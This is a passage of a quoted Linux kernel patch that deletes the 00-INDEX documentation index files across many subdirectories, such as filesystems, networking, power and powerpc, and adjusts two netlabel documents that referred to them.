> -	- info on the userspace VESA (VBE2+ compliant) frame buffer device.
> -vesafb.txt
> -	- info on the VESA frame buffer device.
> -viafb.modes
> -	- list of modes for VIA Integration Graphic Chip.
> -viafb.txt
> -	- info on the VIA Integration Graphic Chip console framebuffer driver.
> -vt8623fb.txt
> -	- info on the fb driver for the graphics core in VIA VT8623 chipsets.
> diff --git a/Documentation/filesystems/00-INDEX b/Documentation/filesystems/00-INDEX
> deleted file mode 100644
> index 0937bad..0000000
> --- a/Documentation/filesystems/00-INDEX
> +++ /dev/null
> @@ -1,153 +0,0 @@
> -00-INDEX
> -	- this file (info on some of the filesystems supported by linux).
> -Locking
> -	- info on locking rules as they pertain to Linux VFS.
> -9p.txt
> -	- 9p (v9fs) is an implementation of the Plan 9 remote fs protocol.
> -adfs.txt
> -	- info and mount options for the Acorn Advanced Disc Filing System.
> -afs.txt
> -	- info and examples for the distributed AFS (Andrew File System) fs.
> -affs.txt
> -	- info and mount options for the Amiga Fast File System.
> -autofs-mount-control.txt
> -	- info on device control operations for autofs module.
> -automount-support.txt
> -	- information about filesystem automount support.
> -befs.txt
> -	- information about the BeOS filesystem for Linux.
> -bfs.txt
> -	- info for the SCO UnixWare Boot Filesystem (BFS).
> -btrfs.txt
> -	- info for the BTRFS filesystem.
> -caching/
> -	- directory containing filesystem cache documentation.
> -ceph.txt
> -	- info for the Ceph Distributed File System.
> -cifs/
> -	- directory containing CIFS filesystem documentation and example code.
> -coda.txt
> -	- description of the CODA filesystem.
> -configfs/
> -	- directory containing configfs documentation and example code.
> -cramfs.txt
> -	- info on the cram filesystem for small storage (ROMs etc).
> -dax.txt
> -	- info on avoiding the page cache for files stored on CPU-addressable
> -	  storage devices.
> -debugfs.txt
> -	- info on the debugfs filesystem.
> -devpts.txt
> -	- info on the devpts filesystem.
> -directory-locking
> -	- info about the locking scheme used for directory operations.
> -dlmfs.txt
> -	- info on the userspace interface to the OCFS2 DLM.
> -dnotify.txt
> -	- info about directory notification in Linux.
> -dnotify_test.c
> -	- example program for dnotify.
> -ecryptfs.txt
> -	- docs on eCryptfs: stacked cryptographic filesystem for Linux.
> -efivarfs.txt
> -	- info for the efivarfs filesystem.
> -exofs.txt
> -	- info, usage, mount options, design about EXOFS.
> -ext2.txt
> -	- info, mount options and specifications for the Ext2 filesystem.
> -ext3.txt
> -	- info, mount options and specifications for the Ext3 filesystem.
> -ext4.txt
> -	- info, mount options and specifications for the Ext4 filesystem.
> -f2fs.txt
> -	- info and mount options for the F2FS filesystem.
> -fiemap.txt
> -	- info on fiemap ioctl.
> -files.txt
> -	- info on file management in the Linux kernel.
> -fuse.txt
> -	- info on the Filesystem in User SpacE including mount options.
> -gfs2-glocks.txt
> -	- info on the Global File System 2 - Glock internal locking rules.
> -gfs2-uevents.txt
> -	- info on the Global File System 2 - uevents.
> -gfs2.txt
> -	- info on the Global File System 2.
> -hfs.txt
> -	- info on the Macintosh HFS Filesystem for Linux.
> -hfsplus.txt
> -	- info on the Macintosh HFSPlus Filesystem for Linux.
> -hpfs.txt
> -	- info and mount options for the OS/2 HPFS.
> -inotify.txt
> -	- info on the powerful yet simple file change notification system.
> -isofs.txt
> -	- info and mount options for the ISO 9660 (CDROM) filesystem.
> -jfs.txt
> -	- info and mount options for the JFS filesystem.
> -locks.txt
> -	- info on file locking implementations, flock() vs. fcntl(), etc.
> -mandatory-locking.txt
> -	- info on the Linux implementation of Sys V mandatory file locking.
> -nfs/
> -	- nfs-related documentation.
> -nilfs2.txt
> -	- info and mount options for the NILFS2 filesystem.
> -ntfs.txt
> -	- info and mount options for the NTFS filesystem (Windows NT).
> -ocfs2.txt
> -	- info and mount options for the OCFS2 clustered filesystem.
> -omfs.txt
> -	- info on the Optimized MPEG FileSystem.
> -path-lookup.txt
> -	- info on path walking and name lookup locking.
> -pohmelfs/
> -	- directory containing pohmelfs filesystem documentation.
> -porting
> -	- various information on filesystem porting.
> -proc.txt
> -	- info on Linux's /proc filesystem.
> -qnx6.txt
> -	- info on the QNX6 filesystem.
> -quota.txt
> -	- info on Quota subsystem.
> -ramfs-rootfs-initramfs.txt
> -	- info on the 'in memory' filesystems ramfs, rootfs and initramfs.
> -relay.txt
> -	- info on relay, for efficient streaming from kernel to user space.
> -romfs.txt
> -	- description of the ROMFS filesystem.
> -seq_file.txt
> -	- how to use the seq_file API.
> -sharedsubtree.txt
> -	- a description of shared subtrees for namespaces.
> -spufs.txt
> -	- info and mount options for the SPU filesystem used on Cell.
> -squashfs.txt
> -	- info on the squashfs filesystem.
> -sysfs-pci.txt
> -	- info on accessing PCI device resources through sysfs.
> -sysfs-tagging.txt
> -	- info on sysfs tagging to avoid duplicates.
> -sysfs.txt
> -	- info on sysfs, a ram-based filesystem for exporting kernel objects.
> -sysv-fs.txt
> -	- info on the SystemV/V7/Xenix/Coherent filesystem.
> -tmpfs.txt
> -	- info on tmpfs, a filesystem that holds all files in virtual memory.
> -ubifs.txt
> -	- info on the Unsorted Block Images FileSystem.
> -udf.txt
> -	- info and mount options for the UDF filesystem.
> -ufs.txt
> -	- info on the ufs filesystem.
> -vfat.txt
> -	- info on using the VFAT filesystem used in Windows NT and Windows 95.
> -vfs.txt
> -	- overview of the Virtual File System.
> -xfs-delayed-logging-design.txt
> -	- info on the XFS Delayed Logging Design.
> -xfs-self-describing-metadata.txt
> -	- info on XFS Self Describing Metadata.
> -xfs.txt
> -	- info and mount options for the XFS filesystem.
> diff --git a/Documentation/filesystems/nfs/00-INDEX b/Documentation/filesystems/nfs/00-INDEX
> deleted file mode 100644
> index 53f3b59..0000000
> --- a/Documentation/filesystems/nfs/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file (nfs-related documentation).
> -Exporting
> -	- explanation of how to make filesystems exportable.
> -fault_injection.txt
> -	- information for using fault injection on the server
> -knfsd-stats.txt
> -	- statistics which the NFS server makes available to user space.
> -nfs.txt
> -	- nfs client, and DNS resolution for fs_locations.
> -nfs41-server.txt
> -	- info on the Linux server implementation of NFSv4 minor version 1.
> -nfs-rdma.txt
> -	- how to install and setup the Linux NFS/RDMA client and server software
> -nfsd-admin-interfaces.txt
> -	- Administrative interfaces for nfsd.
> -nfsroot.txt
> -	- short guide on setting up a diskless box with NFS root filesystem.
> -pnfs.txt
> -	- short explanation of some of the internals of the pnfs client code
> -rpc-cache.txt
> -	- introduction to the caching mechanisms in the sunrpc layer.
> -idmapper.txt
> -	- information for configuring request-keys to be used by idmapper
> -rpc-server-gss.txt
> -	- Information on GSS authentication support in the NFS Server
> diff --git a/Documentation/fmc/00-INDEX b/Documentation/fmc/00-INDEX
> deleted file mode 100644
> index 431c695..0000000
> --- a/Documentation/fmc/00-INDEX
> +++ /dev/null
> @@ -1,38 +0,0 @@
> -
> -Documentation in this directory comes from sections of the manual we
> -wrote for the externally-developed fmc-bus package. The complete
> -manual as of today (2013-02) is available in PDF format at
> -http://www.ohwr.org/projects/fmc-bus/files
> -
> -00-INDEX
> -	- this file.
> -
> -FMC-and-SDB.txt
> -	- What are FMC and SDB, basic concepts for this framework
> -
> -API.txt
> -	- The functions that are exported by the bus driver
> -
> -parameters.txt
> -	- The module parameters
> -
> -carrier.txt
> -	- writing a carrier (a device)
> -
> -mezzanine.txt
> -	- writing code for your mezzanine (a driver)
> -
> -identifiers.txt
> -	- how identification and matching works
> -
> -fmc-fakedev.txt
> -	- about drivers/fmc/fmc-fakedev.ko
> -
> -fmc-trivial.txt
> -	- about drivers/fmc/fmc-trivial.ko
> -
> -fmc-write-eeprom.txt
> -	- about drivers/fmc/fmc-write-eeprom.ko
> -
> -fmc-chardev.txt
> -	- about drivers/fmc/fmc-chardev.ko
> diff --git a/Documentation/gpio/00-INDEX b/Documentation/gpio/00-INDEX
> deleted file mode 100644
> index 17e19a6..0000000
> --- a/Documentation/gpio/00-INDEX
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -00-INDEX
> -	- This file
> -sysfs.txt
> -	- Information about the GPIO sysfs interface
> diff --git a/Documentation/ide/00-INDEX b/Documentation/ide/00-INDEX
> deleted file mode 100644
> index 22f98ca..0000000
> --- a/Documentation/ide/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -    	- this file
> -ChangeLog.ide-cd.1994-2004
> -	- ide-cd changelog
> -ChangeLog.ide-floppy.1996-2002
> -	- ide-floppy changelog
> -ChangeLog.ide-tape.1995-2002
> -	- ide-tape changelog
> -ide-tape.txt
> -	- info on the IDE ATAPI streaming tape driver
> -ide.txt
> -	- important info for users of ATA devices (IDE/EIDE disks and CD-ROMS).
> -warm-plug-howto.txt
> -	- using sysfs to remove and add IDE devices.
> \ No newline at end of file
> diff --git a/Documentation/ioctl/00-INDEX b/Documentation/ioctl/00-INDEX
> deleted file mode 100644
> index c1a9257..0000000
> --- a/Documentation/ioctl/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -00-INDEX
> -	- this file
> -botching-up-ioctls.txt
> -	- how to avoid botching up ioctls
> -cdrom.txt
> -	- summary of CDROM ioctl calls
> -hdio.txt
> -	- summary of HDIO_ ioctl calls
> -ioctl-decoding.txt
> -	- how to decode the bits of an IOCTL code
> -ioctl-number.txt
> -	- how to implement and register device/driver ioctl calls
> diff --git a/Documentation/isdn/00-INDEX b/Documentation/isdn/00-INDEX
> deleted file mode 100644
> index 2d1889b..0000000
> --- a/Documentation/isdn/00-INDEX
> +++ /dev/null
> @@ -1,42 +0,0 @@
> -00-INDEX
> -	- this file (info on ISDN implementation for Linux)
> -CREDITS
> -	- list of the kind folks that brought you this stuff.
> -HiSax.cert
> -	- information about the ITU approval certification of the HiSax driver.
> -INTERFACE
> -	- description of isdn4linux Link Level and Hardware Level interfaces.
> -INTERFACE.fax
> -	- description of the fax subinterface of isdn4linux.
> -INTERFACE.CAPI
> -	- description of kernel CAPI Link Level to Hardware Level interface.
> -README
> -	- general info on what you need and what to do for Linux ISDN.
> -README.FAQ
> -	- general info for FAQ.
> -README.HiSax
> -	- info on the HiSax driver which replaces the old teles.
> -README.audio
> -	- info for running audio over ISDN.
> -README.avmb1
> -	- info on driver for AVM-B1 ISDN card.
> -README.concap
> -	- info on "CONCAP" encapsulation protocol interface used for X.25.
> -README.diversion
> -	- info on module for isdn diversion services.
> -README.fax
> -	- info for using Fax over ISDN.
> -README.gigaset
> -	- info on the drivers for Siemens Gigaset ISDN adapters
> -README.hfc-pci
> -	- info on hfc-pci based cards.
> -README.hysdn
> -        - info on driver for Hypercope active HYSDN cards
> -README.mISDN
> -	- info on the Modular ISDN subsystem (mISDN)
> -README.syncppp
> -	- info on running Sync PPP over ISDN.
> -README.x25
> -	- info for running X.25 over ISDN.
> -syncPPP.FAQ
> -	- frequently asked questions about running PPP over ISDN.
> diff --git a/Documentation/kbuild/00-INDEX b/Documentation/kbuild/00-INDEX
> deleted file mode 100644
> index 8c5e6aa..0000000
> --- a/Documentation/kbuild/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -	- this file: info on the kernel build process
> -headers_install.txt
> -	- how to export Linux headers for use by userspace
> -kbuild.txt
> -	- developer information on kbuild
> -kconfig.txt
> -	- usage help for make *config
> -kconfig-language.txt
> -	- specification of Config Language, the language in Kconfig files
> -makefiles.txt
> -	- developer information for linux kernel makefiles
> -modules.txt
> -	- how to build modules and to install them
> diff --git a/Documentation/laptops/00-INDEX b/Documentation/laptops/00-INDEX
> deleted file mode 100644
> index 86169dc..0000000
> --- a/Documentation/laptops/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- This file
> -asus-laptop.txt
> -	- information on the Asus Laptop Extras driver.
> -disk-shock-protection.txt
> -	- information on hard disk shock protection.
> -laptop-mode.txt
> -	- how to conserve battery power using laptop-mode.
> -sony-laptop.txt
> -	- Sony Notebook Control Driver (SNC) Readme.
> -sonypi.txt
> -	- info on Linux Sony Programmable I/O Device support.
> -thinkpad-acpi.txt
> -	- information on the (IBM and Lenovo) ThinkPad ACPI Extras driver.
> -toshiba_haps.txt
> -	- information on the Toshiba HDD Active Protection Sensor driver.
> diff --git a/Documentation/leds/00-INDEX b/Documentation/leds/00-INDEX
> deleted file mode 100644
> index ae626b2..0000000
> --- a/Documentation/leds/00-INDEX
> +++ /dev/null
> @@ -1,32 +0,0 @@
> -00-INDEX
> -	- This file
> -leds-blinkm.txt
> -	- Driver for BlinkM LED-devices.
> -leds-class.txt
> -	- documents LED handling under Linux.
> -leds-class-flash.txt
> -	- documents flash LED handling under Linux.
> -leds-lm3556.txt
> -	- notes on how to use the leds-lm3556 driver.
> -leds-lp3944.txt
> -	- notes on how to use the leds-lp3944 driver.
> -leds-lp5521.txt
> -	- notes on how to use the leds-lp5521 driver.
> -leds-lp5523.txt
> -	- notes on how to use the leds-lp5523 driver.
> -leds-lp5562.txt
> -	- notes on how to use the leds-lp5562 driver.
> -leds-lp55xx.txt
> -	- description about lp55xx common driver.
> -leds-lm3556.txt
> -	- notes on how to use the leds-lm3556 driver.
> -leds-mlxcpld.txt
> -	- notes on how to use the leds-mlxcpld driver.
> -ledtrig-oneshot.txt
> -	- One-shot LED trigger for both sporadic and dense events.
> -ledtrig-transient.txt
> -	- LED Transient Trigger, one shot timer activation.
> -ledtrig-usbport.txt
> -	- notes on how to use the drivers/usb/core/ledtrig-usbport.c trigger.
> -uleds.txt
> -	- notes on how to use the uleds driver.
> diff --git a/Documentation/locking/00-INDEX b/Documentation/locking/00-INDEX
> deleted file mode 100644
> index c256c9b..0000000
> --- a/Documentation/locking/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -lockdep-design.txt
> -	- documentation on the runtime locking correctness validator.
> -lockstat.txt
> -	- info on collecting statistics on locks (and contention).
> -mutex-design.txt
> -	- info on the generic mutex subsystem.
> -rt-mutex-design.txt
> -	- description of the RealTime mutex implementation design.
> -rt-mutex.txt
> -	- desc. of RT-mutex subsystem with PI (Priority Inheritance) support.
> -spinlocks.txt
> -	- info on using spinlocks to provide exclusive access in kernel.
> -ww-mutex-design.txt
> -	- Intro to Mutex wait/would deadlock handling.s
> diff --git a/Documentation/m68k/00-INDEX b/Documentation/m68k/00-INDEX
> deleted file mode 100644
> index 2be8c6b..0000000
> --- a/Documentation/m68k/00-INDEX
> +++ /dev/null
> @@ -1,7 +0,0 @@
> -00-INDEX
> -	- this file
> -README.buddha
> -	- Amiga Buddha and Catweasel IDE Driver
> -kernel-options.txt
> -	- command line options for Linux/m68k
> -
> diff --git a/Documentation/mips/00-INDEX b/Documentation/mips/00-INDEX
> deleted file mode 100644
> index 8ae9cff..0000000
> --- a/Documentation/mips/00-INDEX
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -00-INDEX
> -	- this file.
> -AU1xxx_IDE.README
> -	- README for MIPS AU1XXX IDE driver.
> diff --git a/Documentation/mmc/00-INDEX b/Documentation/mmc/00-INDEX
> deleted file mode 100644
> index 4623bc0..0000000
> --- a/Documentation/mmc/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -        - this file
> -mmc-dev-attrs.txt
> -        - info on SD and MMC device attributes
> -mmc-dev-parts.txt
> -        - info on SD and MMC device partitions
> -mmc-async-req.txt
> -        - info on mmc asynchronous requests
> -mmc-tools.txt
> -	- info on mmc-utils tools
> diff --git a/Documentation/netlabel/00-INDEX b/Documentation/netlabel/00-INDEX
> deleted file mode 100644
> index 837bf35..0000000
> --- a/Documentation/netlabel/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -	- this file.
> -cipso_ipv4.txt
> -	- documentation on the IPv4 CIPSO protocol engine.
> -draft-ietf-cipso-ipsecurity-01.txt
> -	- IETF draft of the CIPSO protocol, dated 16 July 1992.
> -introduction.txt
> -	- NetLabel introduction, READ THIS FIRST.
> -lsm_interface.txt
> -	- documentation on the NetLabel kernel security module API.
> diff --git a/Documentation/netlabel/cipso_ipv4.txt b/Documentation/netlabel/cipso_ipv4.txt
> index 93dacb1..a607548 100644
> --- a/Documentation/netlabel/cipso_ipv4.txt
> +++ b/Documentation/netlabel/cipso_ipv4.txt
> @@ -6,11 +6,12 @@ May 17, 2006
> 
>   * Overview
> 
> -The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial IP
> -Security Option (CIPSO) draft from July 16, 1992.  A copy of this draft can be
> -found in this directory, consult '00-INDEX' for the filename.  While the IETF
> -draft never made it to an RFC standard it has become a de-facto standard for
> -labeled networking and is used in many trusted operating systems.
> +The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial
> +IP Security Option (CIPSO) draft from July 16, 1992.  A copy of this
> +draft can be found in this directory
> +(draft-ietf-cipso-ipsecurity-01.txt).  While the IETF draft never made
> +it to an RFC standard it has become a de-facto standard for labeled
> +networking and is used in many trusted operating systems.
> 
>   * Outbound Packet Processing
> 
> diff --git a/Documentation/netlabel/introduction.txt b/Documentation/netlabel/introduction.txt
> index 5ecd8d1..3caf77b 100644
> --- a/Documentation/netlabel/introduction.txt
> +++ b/Documentation/netlabel/introduction.txt
> @@ -22,7 +22,7 @@ refrain from calling the protocol engines directly, instead they should use
>  the NetLabel kernel security module API described below.
> 
>  Detailed information about each NetLabel protocol engine can be found in this
> -directory, consult '00-INDEX' for filenames.
> +directory.
> 
>   * Communication Layer
> 
> diff --git a/Documentation/networking/00-INDEX b/Documentation/networking/00-INDEX
> deleted file mode 100644
> index 02a323c..0000000
> --- a/Documentation/networking/00-INDEX
> +++ /dev/null
> @@ -1,234 +0,0 @@
> -00-INDEX
> -	- this file
> -3c509.txt
> -	- information on the 3Com Etherlink III Series Ethernet cards.
> -6pack.txt
> -	- info on the 6pack protocol, an alternative to KISS for AX.25
> -LICENSE.qla3xxx
> -	- GPLv2 for QLogic Linux Networking HBA Driver
> -LICENSE.qlge
> -	- GPLv2 for QLogic Linux qlge NIC Driver
> -LICENSE.qlcnic
> -	- GPLv2 for QLogic Linux qlcnic NIC Driver
> -PLIP.txt
> -	- PLIP: The Parallel Line Internet Protocol device driver
> -README.ipw2100
> -	- README for the Intel PRO/Wireless 2100 driver.
> -README.ipw2200
> -	- README for the Intel PRO/Wireless 2915ABG and 2200BG driver.
> -README.sb1000
> -	- info on General Instrument/NextLevel SURFboard1000 cable modem.
> -altera_tse.txt
> -	- Altera Triple-Speed Ethernet controller.
> -arcnet-hardware.txt
> -	- tons of info on ARCnet, hubs, jumper settings for ARCnet cards, etc.
> -arcnet.txt
> -	- info on the using the ARCnet driver itself.
> -atm.txt
> -	- info on where to get ATM programs and support for Linux.
> -ax25.txt
> -	- info on using AX.25 and NET/ROM code for Linux
> -baycom.txt
> -	- info on the driver for Baycom style amateur radio modems
> -bonding.txt
> -	- Linux Ethernet Bonding Driver HOWTO: link aggregation in Linux.
> -bridge.txt
> -	- where to get user space programs for ethernet bridging with Linux.
> -cdc_mbim.txt
> -	- 3G/LTE USB modem (Mobile Broadband Interface Model)
> -checksum-offloads.txt
> -	- Explanation of checksum offloads; LCO, RCO
> -cops.txt
> -	- info on the COPS LocalTalk Linux driver
> -cs89x0.txt
> -	- the Crystal LAN (CS8900/20-based) Ethernet ISA adapter driver
> -cxacru.txt
> -	- Conexant AccessRunner USB ADSL Modem
> -cxacru-cf.py
> -	- Conexant AccessRunner USB ADSL Modem configuration file parser
> -cxgb.txt
> -	- Release Notes for the Chelsio N210 Linux device driver.
> -dccp.txt
> -	- the Datagram Congestion Control Protocol (DCCP) (RFC 4340..42).
> -dctcp.txt
> -	- DataCenter TCP congestion control
> -de4x5.txt
> -	- the Digital EtherWORKS DE4?? and DE5?? PCI Ethernet driver
> -decnet.txt
> -	- info on using the DECnet networking layer in Linux.
> -dl2k.txt
> -	- README for D-Link DL2000-based Gigabit Ethernet Adapters (dl2k.ko).
> -dm9000.txt
> -	- README for the Simtec DM9000 Network driver.
> -dmfe.txt
> -	- info on the Davicom DM9102(A)/DM9132/DM9801 fast ethernet driver.
> -dns_resolver.txt
> -	- The DNS resolver module allows kernel servies to make DNS queries.
> -driver.txt
> -	- Softnet driver issues.
> -ena.txt
> -	- info on Amazon's Elastic Network Adapter (ENA)
> -e100.txt
> -	- info on Intel's EtherExpress PRO/100 line of 10/100 boards
> -e1000.txt
> -	- info on Intel's E1000 line of gigabit ethernet boards
> -e1000e.txt
> -	- README for the Intel Gigabit Ethernet Driver (e1000e).
> -eql.txt
> -	- serial IP load balancing
> -fib_trie.txt
> -	- Level Compressed Trie (LC-trie) notes: a structure for routing.
> -filter.txt
> -	- Linux Socket Filtering
> -fore200e.txt
> -	- FORE Systems PCA-200E/SBA-200E ATM NIC driver info.
> -framerelay.txt
> -	- info on using Frame Relay/Data Link Connection Identifier (DLCI).
> -gen_stats.txt
> -	- Generic networking statistics for netlink users.
> -generic-hdlc.txt
> -	- The generic High Level Data Link Control (HDLC) layer.
> -generic_netlink.txt
> -	- info on Generic Netlink
> -gianfar.txt
> -	- Gianfar Ethernet Driver.
> -i40e.txt
> -	- README for the Intel Ethernet Controller XL710 Driver (i40e).
> -i40evf.txt
> -	- Short note on the Driver for the Intel(R) XL710 X710 Virtual Function
> -ieee802154.txt
> -	- Linux IEEE 802.15.4 implementation, API and drivers
> -igb.txt
> -	- README for the Intel Gigabit Ethernet Driver (igb).
> -igbvf.txt
> -	- README for the Intel Gigabit Ethernet Driver (igbvf).
> -ip-sysctl.txt
> -	- /proc/sys/net/ipv4/* variables
> -ip_dynaddr.txt
> -	- IP dynamic address hack e.g. for auto-dialup links
> -ipddp.txt
> -	- AppleTalk-IP Decapsulation and AppleTalk-IP Encapsulation
> -iphase.txt
> -	- Interphase PCI ATM (i)Chip IA Linux driver info.
> -ipsec.txt
> -	- Note on not compressing IPSec payload and resulting failed policy check.
> -ipv6.txt
> -	- Options to the ipv6 kernel module.
> -ipvs-sysctl.txt
> -	- Per-inode explanation of the /proc/sys/net/ipv4/vs interface.
> -irda.txt
> -	- where to get IrDA (infrared) utilities and info for Linux.
> -ixgb.txt
> -	- README for the Intel 10 Gigabit Ethernet Driver (ixgb).
> -ixgbe.txt
> -	- README for the Intel 10 Gigabit Ethernet Driver (ixgbe).
> -ixgbevf.txt
> -	- README for the Intel Virtual Function (VF) Driver (ixgbevf).
> -l2tp.txt
> -	- User guide to the L2TP tunnel protocol.
> -lapb-module.txt
> -	- programming information of the LAPB module.
> -ltpc.txt
> -	- the Apple or Farallon LocalTalk PC card driver
> -mac80211-auth-assoc-deauth.txt
> -	- authentication and association / deauth-disassoc with max80211
> -mac80211-injection.txt
> -	- HOWTO use packet injection with mac80211
> -multiqueue.txt
> -	- HOWTO for multiqueue network device support.
> -netconsole.txt
> -	- The network console module netconsole.ko: configuration and notes.
> -netdev-features.txt
> -	- Network interface features API description.
> -netdevices.txt
> -	- info on network device driver functions exported to the kernel.
> -netif-msg.txt
> -	- Design of the network interface message level setting (NETIF_MSG_*).
> -netlink_mmap.txt
> -	- memory mapped I/O with netlink
> -nf_conntrack-sysctl.txt
> -	- list of netfilter-sysctl knobs.
> -nfc.txt
> -	- The Linux Near Field Communication (NFS) subsystem.
> -openvswitch.txt
> -	- Open vSwitch developer documentation.
> -operstates.txt
> -	- Overview of network interface operational states.
> -packet_mmap.txt
> -	- User guide to memory mapped packet socket rings (PACKET_[RT]X_RING).
> -phonet.txt
> -	- The Phonet packet protocol used in Nokia cellular modems.
> -phy.txt
> -	- The PHY abstraction layer.
> -pktgen.txt
> -	- User guide to the kernel packet generator (pktgen.ko).
> -policy-routing.txt
> -	- IP policy-based routing
> -ppp_generic.txt
> -	- Information about the generic PPP driver.
> -proc_net_tcp.txt
> -	- Per inode overview of the /proc/net/tcp and /proc/net/tcp6 interfaces.
> -radiotap-headers.txt
> -	- Background on radiotap headers.
> -ray_cs.txt
> -	- Raylink Wireless LAN card driver info.
> -rds.txt
> -	- Background on the reliable, ordered datagram delivery method RDS.
> -regulatory.txt
> -	- Overview of the Linux wireless regulatory infrastructure.
> -rxrpc.txt
> -	- Guide to the RxRPC protocol.
> -s2io.txt
> -	- Release notes for Neterion Xframe I/II 10GbE driver.
> -scaling.txt
> -	- Explanation of network scaling techniques: RSS, RPS, RFS, aRFS, XPS.
> -sctp.txt
> -	- Notes on the Linux kernel implementation of the SCTP protocol.
> -secid.txt
> -	- Explanation of the secid member in flow structures.
> -skfp.txt
> -	- SysKonnect FDDI (SK-5xxx, Compaq Netelligent) driver info.
> -smc9.txt
> -	- the driver for SMC's 9000 series of Ethernet cards
> -spider_net.txt
> -	- README for the Spidernet Driver (as found in PS3 / Cell BE).
> -stmmac.txt
> -	- README for the STMicro Synopsys Ethernet driver.
> -tc-actions-env-rules.txt
> -	- rules for traffic control (tc) actions.
> -timestamping.txt
> -	- overview of network packet timestamping variants.
> -tcp.txt
> -	- short blurb on how TCP output takes place.
> -tcp-thin.txt
> -	- kernel tuning options for low rate 'thin' TCP streams.
> -team.txt
> -	- pointer to information for ethernet teaming devices.
> -tlan.txt
> -	- ThunderLAN (Compaq Netelligent 10/100, Olicom OC-2xxx) driver info.
> -tproxy.txt
> -	- Transparent proxy support user guide.
> -tuntap.txt
> -	- TUN/TAP device driver, allowing user space Rx/Tx of packets.
> -udplite.txt
> -	- UDP-Lite protocol (RFC 3828) introduction.
> -vortex.txt
> -	- info on using 3Com Vortex (3c590, 3c592, 3c595, 3c597) Ethernet cards.
> -vxge.txt
> -	- README for the Neterion X3100 PCIe Server Adapter.
> -vxlan.txt
> -	- Virtual extensible LAN overview
> -x25.txt
> -	- general info on X.25 development.
> -x25-iface.txt
> -	- description of the X.25 Packet Layer to LAPB device interface.
> -xfrm_device.txt
> -	- description of XFRM offload API
> -xfrm_proc.txt
> -	- description of the statistics package for XFRM.
> -xfrm_sync.txt
> -	- sync patches for XFRM enable migration of an SA between hosts.
> -xfrm_sysctl.txt
> -	- description of the XFRM configuration options.
> -z8530drv.txt
> -	- info about Linux driver for Z8530 based HDLC cards for AX.25
> diff --git a/Documentation/parisc/00-INDEX b/Documentation/parisc/00-INDEX
> deleted file mode 100644
> index cbd0609..0000000
> --- a/Documentation/parisc/00-INDEX
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -00-INDEX
> -	- this file.
> -debugging
> -	- some debugging hints for real-mode code
> -registers
> -	- current/planned usage of registers
> diff --git a/Documentation/power/00-INDEX b/Documentation/power/00-INDEX
> deleted file mode 100644
> index 7f3c2de..0000000
> --- a/Documentation/power/00-INDEX
> +++ /dev/null
> @@ -1,44 +0,0 @@
> -00-INDEX
> -	- This file
> -apm-acpi.txt
> -	- basic info about the APM and ACPI support.
> -basic-pm-debugging.txt
> -	- Debugging suspend and resume
> -charger-manager.txt
> -	- Battery charger management.
> -admin-guide/devices.rst
> -	- How drivers interact with system-wide power management
> -drivers-testing.txt
> -	- Testing suspend and resume support in device drivers
> -freezing-of-tasks.txt
> -	- How processes and controlled during suspend
> -interface.txt
> -	- Power management user interface in /sys/power
> -opp.txt
> -	- Operating Performance Point library
> -pci.txt
> -	- How the PCI Subsystem Does Power Management
> -pm_qos_interface.txt
> -	- info on Linux PM Quality of Service interface
> -power_supply_class.txt
> -	- Tells userspace about battery, UPS, AC or DC power supply properties
> -runtime_pm.txt
> -	- Power management framework for I/O devices.
> -s2ram.txt
> -	- How to get suspend to ram working (and debug it when it isn't)
> -states.txt
> -	- System power management states
> -suspend-and-cpuhotplug.txt
> -	- Explains the interaction between Suspend-to-RAM (S3) and CPU hotplug
> -swsusp-and-swap-files.txt
> -	- Using swap files with software suspend (to disk)
> -swsusp-dmcrypt.txt
> -	- How to use dm-crypt and software suspend (to disk) together
> -swsusp.txt
> -	- Goals, implementation, and usage of software suspend (ACPI S3)
> -tricks.txt
> -	- How to trick software suspend (to disk) into working when it isn't
> -userland-swsusp.txt
> -	- Experimental implementation of software suspend in userspace
> -video.txt
> -	- Video issues during resume from suspend
> diff --git a/Documentation/powerpc/00-INDEX b/Documentation/powerpc/00-INDEX
> deleted file mode 100644
> index 9dc845c..0000000
> --- a/Documentation/powerpc/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -Index of files in Documentation/powerpc.  If you think something about
> -Linux/PPC needs an entry here, needs correction or you've written one
> -please mail me.
> -                                        Cort Dougan (cort@fsmlabs.com)
> -
> -00-INDEX
> -	- this file
> -bootwrapper.txt
> -	- Information on how the powerpc kernel is wrapped for boot on various
> -	  different platforms.
> -cpu_features.txt
> -	- info on how we support a variety of CPUs with minimal compile-time
> -	options.
> -cxl.txt
> -	- Overview of the CXL driver.
> -eeh-pci-error-recovery.txt
> -	- info on PCI Bus EEH Error Recovery
> -firmware-assisted-dump.txt
> -	- Documentation on the firmware assisted dump mechanism "fadump".
> -hvcs.txt
> -	- IBM "Hypervisor Virtual Console Server" Installation Guide
> -mpc52xx.txt
> -	- Linux 2.6.x on MPC52xx family
> -pmu-ebb.txt
> -	- Description of the API for using the PMU with Event Based Branches.
> -qe_firmware.txt
> -	- describes the layout of firmware binaries for the Freescale QUICC
> -	  Engine and the code that parses and uploads the microcode therein.
> -ptrace.txt
> -	- Information on the ptrace interfaces for hardware debug registers.
> -transactional_memory.txt
> -	- Overview of the Power8 transactional memory support.
> -dscr.txt
> -	- Overview DSCR (Data Stream Control Register) support.
> diff --git a/Documentation/s390/00-INDEX b/Documentation/s390/00-INDEX
> deleted file mode 100644
> index 317f037..0000000
> --- a/Documentation/s390/00-INDEX
> +++ /dev/null
> @@ -1,28 +0,0 @@
> -00-INDEX
> -	- this file.
> -3270.ChangeLog
> -	- ChangeLog for the UTS Global 3270-support patch (outdated).
> -3270.txt
> -	- how to use the IBM 3270 display system support.
> -cds.txt
